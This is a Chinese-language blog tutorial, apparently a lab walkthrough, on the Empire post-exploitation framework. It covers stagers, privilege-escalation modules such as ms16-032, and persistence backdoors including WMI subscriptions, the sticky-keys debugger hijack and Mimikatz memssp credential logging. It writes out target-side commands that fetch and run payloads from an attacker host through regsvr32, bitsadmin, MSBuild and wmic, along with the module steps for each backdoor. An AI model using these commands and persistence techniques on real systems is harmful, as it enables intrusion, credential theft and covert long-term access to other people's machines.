主頁 > 企業開發 > 內網滲透 day15-empire(usestager用法、提權、持久化后門）

內網滲透 day15-empire(usestager用法、提權、持久化后門）

2020-11-18 19:07:26 企業開發

empire(usestager用法、提權、持久化后門）

本章前提：已成功設定監聽器(如何設定監聽器請看day14篇)

1. usestager的幾種用法

windows/launcher_sct:

介紹:Regsvr32命令用于注冊COM組件，是Windows系統提供的用來向系統注冊控制元件或者卸載控制元件的命令，以命令列方式運行，WinXP及以上系統的regsvr32.exe在windows\system32檔案夾下；2000系統的regsvr32.exe在winnt\system32檔案夾下，

用法:regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname

1) usestager windows/launcher_sct     進入windows/launcher_sct模塊

wps1

2) 設定一下引數

wps2

set Listener kali

set OutFile /var/www/html/xx.sct

3) execute  執行

wps3

4) 在靶機上運行 regsvr32 /u /n /s /i:http://192.168.227.129/xx.sct scrobj.dll

wps4

wps5

5) 成功回傳會話

wps6

windows/launcher_vbs:

遠程下載：bitsadmin /transfer /n http://IP/xx.vbs path

1) usestager windows/launcher_vbs     進入windows/launcher_vbs模塊

wps7

2) 設定一下引數

wps8

3) execute  執行

wps9

4) 在靶機上運行

bitsadmin /transfer n http://192.168.227.129/xx.vbs C:\Users\xxx\Desktop\xx.vbs

wps10

wps11

5) 靶機執行.vbs檔案，成功反彈會話

wps12

windows/launcher_xml:

MSBuild是一個免費的開源構建工具集，用于管理本地C++代碼.在Visual Studio2013之前,MSBuild是作為.NET框架的一部分,但是在其之后,MSBuild被系結到了Visual Studio.所以,Visual Studio依賴于MSBuild，但是MSBuild并不依賴于Visual Studio，

用法:利用net4.0之后的版本中的MSBuild運行注入shellcode的xml檔案反彈shell，

1) 跟前面兩個操作一樣生成xml檔案到/var/www/html/檔案夾下

wps13

2) 在靶機上下載該檔案

wps14

3) 在靶機上cd到C:\Windows\Microsoft.NET\Framework64\v4.0.30319\使用MSBuild運行xml

wps15

4) 成功反彈會話

wps16

windows/wmic:

WMIC擴展WMI（Windows Management Instrumentation，Windows管理工具） ，提供了從命令列介面和批命令腳本執行系統管理的支持，

用法:wmic os get /format:"http://IP/xx.xsl"

1) 跟前面兩個的操作步驟一樣將生成的xsl存到html檔案夾下

wps17

2) 在靶機上執行wmic os get /format:"http://192.168.227.129/xx.xsl"

wps18

3) 成功反彈會話

wps19

2. empire提權模塊

uac和bypassuac在day14有介紹

本地提權

ms16-135：Win32k 資訊泄漏漏洞

若要利用此漏洞，攻擊者必須登錄到受影響的系統并運行經特殊設計的應用程式，此安全更新 程式通過更正 Windows 內核處理記憶體地址的方式來修復這個漏洞，

searchmodule ms16-135 查找ms16-135模塊

wps20

usemodule privesc/ms16-135    使用模塊

wps21

設定完引數后執行

wps22

成功反彈擁有特權的會話

wps23

ms16-032：輔助登錄特權提升漏洞

如果 Windows 輔助登錄服務未能正確管理記憶體中的請求句柄，Microsoft Windows 中會存在 一個特權提升漏洞， 成功利用此漏洞的攻擊者能夠以管理員身份運行任意代碼，

usemodule privesc/ms16-032    使用模塊

wps24

設定完引數執行

wps25

成功回傳有系統特權的會話

wps26

wps27

powershell/privesc/sherlock 查找Windows本地特權升級漏洞

usemodule privesc/sherlock  使用該模塊

wps28

顯示本地特權升級的漏洞

wps29

利用powerup進行提權

PowerUp是一個PowerShell工具，可協助Windows系統上的本地特權升級，它包含多種方法來 識別和濫用易受攻擊的服務，以及DLL劫持機會，易受攻擊的注冊表設定和升級機會，它是PowerTools 的一部分，位于https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp，Empire 在privesc / powerup / *模塊中實作了PowerUp的升級功能 ，

usemodule privesc/powerup/allchecks 檢測是否可以利用powerup漏洞

wps30

顯示存在漏洞

wps31

根據顯示存在的漏洞利用對應模塊

wps32

可以看到存在對服務可執行檔案的配置不當權限（可通過service_exe_ *加以利用）

不過這邊我都試過了一遍，不是很好用

3. 持久化后門

PowerBreach

介紹:PowerBreach是一系列記憶體中的PowerShell后門，可為各種選項提供觸發器，

persistence/powerbreach/deaduser –接受用戶名和關于用戶名是否是域名（相對于本地帳戶）的開關/標志，腳本每隔Sleep秒就會檢查帳戶是否仍然存在，如果不存在則觸發登臺邏輯，該后門不需要本地管理員權限，

理解:判斷你設定的用戶名是否存在（有沒有被改名或者洗掉），當被改名的時候會就觸發該腳本反彈shell

usemodule persistence/powerbreach/deaduser 使用模塊

wps33

查看所需引數

wps34

設定相關引數

wps35

執行

wps36

把aaa改成了bbb

wps37

成功反彈shell

wps38

persistence/powerbreach/eventlog - 事件日志–按時間間隔查詢安全事件日志，以查找具有唯一觸發器值的事件，此后門DOES需要管理員權限才能訪問安全事件日志，

usemodule persistence/powerbreach/eventlog* 使用模塊

wps39

查看所需引數

wps40

設定相關引數

wps41

執行

wps42

打開靶機的eventvwr，當安全日志中存在HACKER(上面引數定義的可以自己更改)關鍵字時

wps43

成功反彈會話

wps44

由于是管理員權限留下的后門，所以回傳的會話也擁有管理員權限

wps45

persistence/powerbreach /resolver –需要決議的主機名和觸發IP，腳本每隔睡眠秒數檢查一次主機名是否決議為觸發IP，否則將觸發暫存邏輯，該后門不需要本地管理員權限，

usemodule persistence/powerbreach/resolver 使用模塊

wps46

查看所需引數

wps47

設定相關引數

wps48

執行

wps49

靶機上去訪問一下127.0.0.1，讓他進行決議

wps50

成功反彈shell

wps51

Userland

persistence/userland/ * 模塊允許用戶態，從重啟的持久性（即無需管理權限），如果指定了偵聽器，則會自動生成Empire代理的登臺代碼并將其用作觸發的腳本邏輯，

persistence/userland /registry –在HKCU:Software\Microsoft\Windows\CurrentVersion\Run中設定一個值，以在選擇的任何存盤機制下執行腳本，僅當該用戶登錄時，這將導致腳本運行，

usemodule persistence/userland/registry 使用模塊

wps52

查看所需引數

wps53

設定相關引數

wps54

執行

wps55

將靶機注銷重新登錄，成功回傳shell會話（這里用戶登錄的時候會有短暫的powershell彈框）

wps56

persistence/userland/schtask –配置計劃的任務以在選擇任何存盤機制的情況下執行腳本，該腳本可以在DailyTime（HH：mm格式）下觸發，或者在用戶閑置IdleTime秒后觸發

理解:這個是放注冊表中的計劃任務

usemodule persistence/userland/schtasks 使用模塊

wps57

查看所需引數

wps58

設定相關引數

wps59

執行

wps60

將靶機注銷重新登錄，等設定的時間到，成功回傳shell會話

wps61

Elevated

persistence/elevated/*模塊允許重啟的持久性從升高的背景關系（即具有管理特權），如果指定了偵聽器，則會自動生成Empire代理的登臺代碼并將其用作觸發的腳本邏輯，

理解:該模塊是擁有管理員權限留下的擁有權限的后門

persistence/elevated/registry、persistence/elevated/schtask，這兩個用法和之前的一樣，只不過需要管理員權限

persistence/elevated/wmi–配置永久WMI訂閱以激發存盤的腳本邏輯，該腳本可以在DailyTime（HH：mm格式）或使用AtStartup啟動系統時觸發，這具有難以檢測/去除的等級，

理解:這個是放注冊表中的計劃任務

usemodule persistence/elevated/wmi* 使用模塊

wps62

查看所需引數

wps63

設定相關引數

wps64

執行

wps65

將靶機上驗證wmi，在powershell中直接輸入Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’Updater’”

wps66

重啟靶機，成功反彈有管理員權限的shell

wps67

wps68

misc

persistence/misc/debugger*-在empire3.6.0版本中把persistence / debugger / * 模塊整合到了persistence/misc/debugger*模塊中，您可以為RDP提示符下登錄前可訪問的各種可執行檔案設定“映像檔案執行選項”（又名除錯器），默認情況下，除錯器設定為cmd.exe，它使您可以觸發通過RDP以SYSTEM身份運行的命令提示符，而無需實際登錄計算機，您還可以使用Binary引數指定另一個二進制檔案的路徑，如果要除錯器觸發暫存器，請設定Listener引數，這將為指定的偵聽器生成一個合適的暫存器，并將其存盤到指定的RegPath中，然后，您可以從RDP提示預身份驗證中觸發這些登臺程式，但是請注意，一旦關閉RDP提示（在不活動30秒后發生），登臺的代理將被殺死，

usemodule persistence/misc/debugger* 使用模塊

wps69

查看所需引數

wps70

設定引數

wps71

執行

wps72

在靶機win7登錄界面按5次shift，有個powershell的框一閃而過

wps73

成功回傳會話，并且是管理員權限

wps74

persistence/misc/memssp –安裝Mimikatz的memssp模塊，該模塊應將所有身份驗證事件注銷到C：\ Windows \ System32 \ mimisla.log，應該重新引匯出久，

usemodule persistence/misc/memssp* 使用模塊

wps75

直接運行就可以了

wps76

靶機對應目錄生成了mimisla.log檔案

wps77

persistence/misc/disable_machine_acct_change –禁止目標更改其計算機帳戶密碼，如果首先運行mimikatz/credentials/logonpasswords來轉儲計算機帳戶密碼（帳戶以$結尾），則您應該具有對給定系統的持久訪問權限，清理選項也可用，

使用該模塊后直接運行就可以了

wps78

轉載請註明出處，本文鏈接：https://www.uj5u.com/qiye/224475.html

標籤：其他

上一篇：內網滲透 day15-empire(usestager用法、提權、持久化后門）

下一篇：探索JS中的函式秘密

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C＃(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • IEEE1588PTP在數字化變電站時鐘同步方面的應用

    IEEE1588ptp在數字化變電站時鐘同步方面的應用 京準電子科技官微——ahjzsz 一、電力系統時間同步基本概況 隨著對IEC 61850標準研究的不斷深入，國內外學者提出基于IEC61850通信標準體系建設數字化變電站的發展思路。數字化變電站與常規變電站的顯著區別在于程序層傳統的電流/電壓互 ......

    uj5u.com 2020-09-10 03:51:52 more
  • HTTP request smuggling CL.TE

    CL.TE 簡介 前端通過Content-Length處理請求，通過反向代理或者負載均衡將請求轉發到后端，后端Transfer-Encoding優先級較高，以TE處理請求造成安全問題。 檢測 發送如下資料包 POST / HTTP/1.1 Host: ac391f7e1e9af821806e890 ......

    uj5u.com 2020-09-10 03:52:11 more
  • 網路滲透資料大全單——漏洞庫篇

    網路滲透資料大全單——漏洞庫篇漏洞庫 NVD ——美國國家漏洞庫 →http://nvd.nist.gov/。 CERT ——美國國家應急回應中心 →https://www.us-cert.gov/ OSVDB ——開源漏洞庫 →http://osvdb.org Bugtraq ——賽門鐵克 →ht ......

    uj5u.com 2020-09-10 03:52:15 more
  • 京準講述NTP時鐘服務器應用及原理

    京準講述NTP時鐘服務器應用及原理京準講述NTP時鐘服務器應用及原理 安徽京準電子科技官微——ahjzsz 北斗授時原理 授時是指接識訓通過某種方式獲得本地時間與北斗標準時間的鐘差，然后調整本地時鐘使時差控制在一定的精度范圍內。 衛星導航系統通常由三部分組成：導航授時衛星、地面檢測校正維護系統和用戶 ......

    uj5u.com 2020-09-10 03:52:25 more
  • 利用北斗衛星系統設計NTP網路時間服務器

    利用北斗衛星系統設計NTP網路時間服務器 利用北斗衛星系統設計NTP網路時間服務器 安徽京準電子科技官微——ahjzsz 概述 NTP網路時間服務器是一款支持NTP和SNTP網路時間同步協議，高精度、大容量、高品質的高科技時鐘產品。 NTP網路時間服務器設備采用冗余架構設計，高精度時鐘直接來源于北斗 ......

    uj5u.com 2020-09-10 03:52:35 more
  • 詳細解讀電力系統各種對時方式

    詳細解讀電力系統各種對時方式 詳細解讀電力系統各種對時方式 安徽京準電子科技官微——ahjzsz，更多資料請添加VX 衛星同步時鐘是我京準公司開發研制的應用衛星授時時技術的標準時間顯示和發送的裝置，該裝置以M國全球定位系統（GLOBAL POSITIONING SYSTEM,縮寫為GPS）或者我國北 ......

    uj5u.com 2020-09-10 03:52:45 more
  • 如何保證外包團隊接入企業內網安全

    不管企業規模的大小，只要企業想省錢，那么企業的某些服務就一定會采用外包的形式，然而看似美好又經濟的策略，其實也有不好的一面。下面我通過安全的角度來聊聊使用外包團的安全隱患問題。 先看看什么服務會使用外包的，最常見的就是話務/客服這種需要大量重復性、無技術性的服務，或者是一些銷售外包、特殊的職能外包等 ......

    uj5u.com 2020-09-10 03:52:57 more
  • PHP漏洞之【整型數字型SQL注入】

    0x01 什么是SQL注入 SQL是一種注入攻擊，通過前端帶入后端資料庫進行惡意的SQL陳述句查詢。 0x02 SQL整型注入原理 SQL注入一般發生在動態網站URL地址里，當然也會發生在其它地發，如登錄框等等也會存在注入，只要是和資料庫打交道的地方都有可能存在。 如這里http://192.168. ......

    uj5u.com 2020-09-10 03:55:40 more
  • [GXYCTF2019]禁止套娃

    git泄露獲取原始碼 使用GET傳參，引數為exp 經過三層過濾執行 第一層過濾偽協議，第二層過濾帶引數的函式，第三層過濾一些函式 preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'] (?R)參考當前正則運算式，相當于匹配函式里的引數 因此傳遞 ......

    uj5u.com 2020-09-10 03:56:07 more
  • 等保2.0實施流程

    流程 結論 ......

    uj5u.com 2020-09-10 03:56:16 more
最新发布
  • 使用Django Rest framework搭建Blog

    在前面的Blog例子中我們使用的是GraphQL, 雖然GraphQL的使用處于上升趨勢,但是Rest API還是使用的更廣泛一些. 所以還是決定回到傳統的rest api framework上來, Django rest framework的官網上給了一個很好用的QuickStart, 我參考Qu ......

    uj5u.com 2023-04-20 08:17:54 more
  • 記錄-new Date() 我忍你很久了！

    這里給大家分享我在網上總結出來的一些知識，希望對大家有所幫助 大家平時在開發的時候有沒被new Date()折磨過？就是它的諸多怪異的設定讓你每每用的時候，都可能不小心踩坑。造成程式意外出錯，卻一下子找不到問題出處，那叫一個煩透了…… 下面，我就列舉它的“四宗罪”及應用思考 可惡的四宗罪 1. Sa ......

    uj5u.com 2023-04-20 08:17:47 more
  • 使用Vue.js實作文字跑馬燈效果

    實作文字跑馬燈效果，首先用到 substring()截取 和 setInterval計時器 clearInterval()清除計時器 效果如下： 實作代碼如下： <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta ......

    uj5u.com 2023-04-20 08:12:31 more
  • JavaScript 運算子

    JavaScript 運算子/運算子 在 JavaScript 中，有一些運算子可以使代碼更簡潔、易讀和高效。以下是一些常見的運算子： 1、可選鏈運算子（optional chaining operator） ?.是可選鏈運算子（optional chaining operator）。?. 可選鏈操 ......

    uj5u.com 2023-04-20 08:02:25 more
  • CSS—相對單位rem

    一、概述 rem是一個相對長度單位，它的單位長度取決于根標簽html的字體尺寸。rem即root em的意思，中文翻譯為根em。瀏覽器的文本尺寸一般默認為16px，即默認情況下： 1rem = 16px rem布局原理：根據CSS媒體查詢功能，更改根標簽的字體尺寸，實作rem單位隨螢屏尺寸的變化，如 ......

    uj5u.com 2023-04-20 08:02:21 more
  • 我的第一個NPM包:panghu-planebattle-esm(胖虎飛機大戰)使用說明

    好家伙,我的包終于開發完啦 歡迎使用胖虎的飛機大戰包!! 為你的主頁添加色彩 這是一個有趣的網頁小游戲包,使用canvas和js開發 使用ES6模塊化開發 效果圖如下: (覺得圖片太sb的可以自己改) 代碼已開源!! Git: https://gitee.com/tang-and-han-dynas ......

    uj5u.com 2023-04-20 08:01:50 more
  • 如何在 vue3 中使用 jsx/tsx?

    我們都知道,通常情況下我們使用 vue 大多都是用的 SFC(Signle File Component)單檔案組件模式,即一個組件就是一個檔案,但其實 Vue 也是支持使用 JSX 來撰寫組件的。這里不討論 SFC 和 JSX 的好壞,這個仁者見仁智者見智。本篇文章旨在帶領大家快速了解和使用 Vu ......

    uj5u.com 2023-04-20 08:01:37 more
  • 【Vue2.x原始碼系列06】計算屬性computed原理

    本章目標：計算屬性是如何實作的？計算屬性快取原理以及洋蔥模型的應用？在初始化Vue實體時，我們會給每個計算屬性都創建一個對應watcher，我們稱之為計算屬性watcher ......

    uj5u.com 2023-04-20 08:01:31 more
  • http1.1與http2.0

    一、http是什么 通俗來講，http就是計算機通過網路進行通信的規則，是一個基于請求與回應，無狀態的，應用層協議。常用于TCP/IP協議傳輸資料。目前任何終端之間任何一種通信方式都必須按Http協議進行，否則無法連接。tcp(三次握手，四次揮手)。 請求與回應：客戶端請求、服務端回應資料。 無狀態 ......

    uj5u.com 2023-04-20 08:01:10 more
  • http1.1與http2.0

    一、http是什么 通俗來講，http就是計算機通過網路進行通信的規則，是一個基于請求與回應，無狀態的，應用層協議。常用于TCP/IP協議傳輸資料。目前任何終端之間任何一種通信方式都必須按Http協議進行，否則無法連接。tcp(三次握手，四次揮手)。 請求與回應：客戶端請求、服務端回應資料。 無狀態 ......

    uj5u.com 2023-04-20 08:00:32 more

Copyright © 2010-2020 有解無憂